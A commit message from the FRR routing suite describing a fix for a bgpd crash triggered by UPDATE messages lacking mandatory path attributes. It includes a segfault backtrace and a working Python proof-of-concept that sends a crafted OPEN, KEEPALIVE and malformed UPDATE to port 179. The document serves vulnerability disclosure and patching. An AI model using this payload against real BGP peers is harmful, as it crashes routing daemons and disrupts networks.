bgpd: Check mandatory attributes more carefully for UPDATE message

bgpd: Check mandatory attributes more carefully for UPDATE message

If we send a crafted BGP UPDATE message without mandatory attributes, we do
not check if the length of the path attributes is zero or not. We only check
if attr->flag is at least set or not. Imagine we send only unknown transit
attribute, then attr->flag is always 0. Also, this is true only if graceful-restart
capability is received.

A crash:

```
bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16)
bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17
BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting...
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d]
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593]
BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181]
BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980]
BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a]
BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290]
BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610]
BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5]
BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867]
BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6]
BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597]
BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3]
BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0]
BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979]
```

Sending:

```
import socket
import time

OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")

KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")

UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(1000)
s.close()
```

Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>